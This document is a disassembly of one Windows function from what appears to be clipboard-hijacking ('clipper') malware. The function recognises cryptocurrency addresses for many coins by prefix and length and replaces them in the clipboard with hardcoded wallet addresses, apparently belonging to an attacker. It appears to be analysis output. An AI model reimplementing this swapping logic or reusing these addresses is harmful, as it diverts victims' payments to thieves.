Function at 0x403480
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x74
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x68
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x51
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x52
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4e
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x41
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x53
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x7a
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x73
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x71
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x63
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x34
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x61
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x46
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x47
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x62
je 0x403611
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x55
je 0x403611
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x45
je 0x403611
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
je 0x403611
xor al, al
jmp 0x403b13
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
jne 0x403634
cmp dword [ebp - 4], 0x5f
jb 0x403628
cmp dword [ebp - 4], 0x6a
jbe 0x40362f
xor al, al
jmp 0x403b13
jmp 0x403715
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
jne 0x403657
cmp dword [ebp - 4], 0x19
jb 0x40364b
cmp dword [ebp - 4], 0x23
jbe 0x403652
xor al, al
jmp 0x403b13
jmp 0x403715
push 0x4117f0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403682
cmp dword [ebp - 4], 0x32
jb 0x403676
cmp dword [ebp - 4], 0x38
jbe 0x40367d
xor al, al
jmp 0x403b13
jmp 0x403715
push 0x41180c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036aa
cmp dword [ebp - 4], 0x2a
jb 0x4036a1
cmp dword [ebp - 4], 0x30
jbe 0x4036a8
xor al, al
jmp 0x403b13
jmp 0x403715
push 0x41181c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4036d2
cmp dword [ebp - 4], 0x62
jb 0x4036c9
cmp dword [ebp - 4], 0x69
jbe 0x4036d0
xor al, al
jmp 0x403b13
jmp 0x403715
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
je 0x4036f3
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x4036f3
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x42
jne 0x403702
cmp dword [ebp - 4], 9
je 0x403700
xor al, al
jmp 0x403b13
jmp 0x403715
cmp dword [ebp - 4], 0x15
jb 0x40370e
cmp dword [ebp - 4], 0x38
jbe 0x403715
xor al, al
jmp 0x403b13
push str.bitcoincash:
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x4037bf
mov dword [ebp - 0x18], 0
jmp 0x40373e
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 4]
jae 0x4037bf
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x31
jne 0x403785
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x4f
je 0x40377e
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x49
je 0x40377e
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x6c
jne 0x403785
xor al, al
jmp 0x403b13
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
push eax
call sub.ntdll.dll_isalpha
add esp, 4
test eax, eax
jne 0x4037ba
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
push eax
call sub.ntdll.dll_isdigit
add esp, 4
test eax, eax
jne 0x4037ba
xor al, al
jmp 0x403b13
jmp 0x403735
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
jne 0x4037e0
cmp dword [ebp - 4], 0x30
jne 0x4037d9
mov dword [ebp - 8], str.13dJT8HaqHG3SzwEHN351NKpZHjT51LUMioPeZCuYFMn6Em2
jmp 0x4037e0
mov dword [ebp - 8], str.1AFyjUHBU47bKeWD3Yv9vxFvfQCNFVhEB1
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
jne 0x403807
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x50
jne 0x403800
mov dword [ebp - 8], str.3PLCWMHvHvUKmzNKvrNxRHcpBBt841bLLRm
jmp 0x403807
mov dword [ebp - 8], str.3LVETtCrwgP6fhf1W5h1aiuUbG5yp8MG2x
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6c
jne 0x403819
mov dword [ebp - 8], str.lsk4dj7ob9h89nr2vbv4bccdk36w5jzk2wqdmgb29
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x71
jne 0x40382b
mov dword [ebp - 8], str.qraj0r42vag30v888rxrv23us6n9mwqzxqmanzrjzz
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x58
jne 0x40383d
mov dword [ebp - 8], str.XdpMAtREQP2GiJPnhECJE17Yo47kqwxE2g
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x44
jne 0x40384f
mov dword [ebp - 8], str.DAd39Hg29o3hXTXkCp867rWZ82QtYemBr1
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
jne 0x403861
mov dword [ebp - 8], str.0x7acBe663481E7cAB6C7b22af594A1Fa5553ddA5f
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
jne 0x403873
mov dword [ebp - 8], str.LVSQJj6WFnMzAFDZLidL19hCtTtJu1WNHy
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
jne 0x403885
mov dword [ebp - 8], str.rsJ93nxUfY9p5a1g8ZYd1w1YsHdVP3tSn1
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
jne 0x403897
mov dword [ebp - 8], str.TXGiKCawSp4VEYnXC4Eyvz8gVugh3ibZjr
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x74
jne 0x4038ca
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x31
je 0x4038ba
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x32
jne 0x4038c3
mov dword [ebp - 8], str.t1eAsZic54jTo4V4DRPWMN4oLgSzsSSYxcw
jmp 0x4038ca
mov dword [ebp - 8], str.tz1XfScMr3fnxtQxf5gjTJBKg6L77c8j6PrW
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x68
jne 0x4038dc
mov dword [ebp - 8], str.hx39033c0822af69793c08190032c216efff2e736b
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x51
jne 0x4038ee
mov dword [ebp - 8], str.QUux7FUWCrrx3Dx7PnbLA3ggAiFViKLxqZ
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x52
jne 0x403900
mov dword [ebp - 8], str.RRZPLef5gRih88dDbpTzePmmCsu5LFeRjR
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4e
jne 0x403912
mov dword [ebp - 8], str.NDXTSQPA63NR5X2IWN36BGS5TLFEKEXTDGD7IJN6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x41
jne 0x403924
mov dword [ebp - 8], str.AHZnFT4zfKU59R811DCthwxBPKuRqG2ES1
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
jne 0x403936
mov dword [ebp - 8], str.SeZoB4QACXTJXbq6KjqVtHv6taMrhwHJL3
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x7a
jne 0x403948
mov dword [ebp - 8], str.zil1seszdgum3l2edtxcmw7f7xm9yg23rrhugkm2aj
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x73
jne 0x40395a
mov dword [ebp - 8], str.s1gULDhRRRgo5HDV19PtfmYPoBxf56yA7sY
push str.bitcoincash
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403974
mov dword [ebp - 8], str.bitcoincash:qraj0r42vag30v888rxrv23us6n9mwqzxqmanzrjzz
push str.cosmos
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40398e
mov dword [ebp - 8], str.cosmos193kknmk5lf463x32n3d5g9gl9v0dyyh0lfyne9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
jne 0x4039a0
mov dword [ebp - 8], str.44HTTxP6AQ716zmPnc96XWRzCPtmJCYU8CZeU1bUUGyVNTEcHvLrGsg53AHiifFgz8W5F2ERtVCBxdC73gJFNhCDNs4ndn2
push str.addr
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4039ba
mov dword [ebp - 8], str.addr1qxn3w3uq9dcrv9fr9jq9yz5v9q25lagkm3ycusz6dkrdezd8zarcq2msxc2jxtyq2g9gc2q4fl63dhzf3eq95mvxmjysufcr98
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x46
jne 0x4039cc
mov dword [ebp - 8], str.FeRhBP1Z2Yo8mFXKveudPU4FKZUKsNiAci
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x47
jne 0x4039fc
cmp dword [ebp - 4], 0x38
jne 0x4039e6
mov dword [ebp - 8], str.GABBG3OBFC3JLJEXMFEKJMMHANGFWVPTPKUJSVOMZZGQO522AXGL7Q3P
jmp 0x4039fc
cmp dword [ebp - 4], 0x2c
jne 0x4039f5
mov dword [ebp - 8], str.GMinVxCfyuHFUBiuuWuaWkUBWgN1kgowfsNzjjuad7W9
jmp 0x4039fc
mov dword [ebp - 8], str.GNefRcjiMcCcdCaoRNZMKnKjq7TNoR1xJ2
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x62
jne 0x403a55
push 0x411dbc
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a21
mov dword [ebp - 8], str.bnb16yfddrq3325xuqh3070tlqsr5gr74jun7zefgz
push str.band
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a3b
mov dword [ebp - 8], str.band1g8hn06d8aaczqfcnuquesh849594gtsmrar5ry
push 0x411e28
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x403a55
mov dword [ebp - 8], str.bc1qvdu6nyvrppjtshy7rgfpkl74hkklj7plavr8je
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
jne 0x403a67
mov dword [ebp - 8], str.U33390790
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
jne 0x403a79
mov dword [ebp - 8], str.E36963824
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x42
jne 0x403a8b
mov dword [ebp - 8], str.B36461211
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403b11
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403b11
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403b11
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x403b11
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp - 0x14]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret